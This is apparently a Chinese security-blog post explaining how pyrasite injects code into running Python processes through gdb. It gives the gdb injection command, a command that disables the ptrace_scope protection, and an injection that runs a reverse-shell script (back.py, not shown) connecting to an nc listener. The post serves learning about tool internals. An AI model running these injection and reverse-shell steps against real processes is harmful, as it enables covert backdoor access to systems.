#如何给正在运行的 Python 进程注入后门连接
tags: #姿势#,
如何给正在运行的 Python 进程注入后门连接
今天分享个昨晚玩的姿势,首先这个姿势来源这个开源项目 pyrasite: GitHub+-+lmacken/pyrasite:+Inject+code+into+runnin...
这个项目介绍是:Inject code into running Python processes,之前@Moriarty 推荐过这个好工具。
但是我这不是要介绍这个工具的用法,用法直接看其官网的视频(pyrasite.com),一目了然。
我昨晚读了一遍 pyrasite 源码,很快就明白了本质的原理,这里给大家分享下(以 Linux 环境下的情况为例,需要 root 权限)。其实关键语句就这句:
gdb -p 3142 --batch -eval-command='call PyGILState_Ensure()' -eval-command='call PyRun_SimpleString("print("hiworld")")' -eval-command='call PyGILState_Release($1)'
对,gdb,这是经典的调试神器了,玩过 gdb 的都知道,这个神器支持直接对目标进程运行态进行动态调试,不过这有个前提,需要开启:
echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope
开启后,如上那条 gdb 语句,-p 参数背后跟目标 Python 进程的 pid,我这里测试的是 3142,然后 -eval-command 是注入需要执行的命令,仔细看有几个 -eval-command,这些命令会顺序执行,最终执行的是 PyRun_SimpleString 函数里的 Python 代码:
print("hiworld")
好,现在可以注入 Python 代码,打印 hiworld 了,那么我们注入个反弹到我们的远程 nc 吧。
gdb -p 3142 --batch -eval-command='call PyGILState_Ensure()' -eval-command='call PyRun_SimpleString("exec(open("back.py").read())")' -eval-command='call PyGILState_Release($1)'
其中,back.py 就是一个反弹脚本,反弹连接到我们的 nc 监听上:
nc -l -p 1134 -vv
效果如图所示,相关测试脚本见附件,简单说明下:
t.py 是目标进程,back.py 是反弹脚本,都在 test.zip 里。
[后记]
- 进程注入,gdb 的这种用法大家可以开脑洞,那么其他类型的进程我们是否也可以这样优雅地注入?
- 我们在用一些优秀的工具时,不应该只停留在只会用,如果有源码,我们可以读通其源码,看看作者的思路,是个非常好的学习机会。而且这样下来,你其实比只会用用而已的人更能驾驭这款工具的高阶姿势。
- 工欲善其事必先利其器,这也是为什么本圈会介绍些优秀工具的用法或剖析。


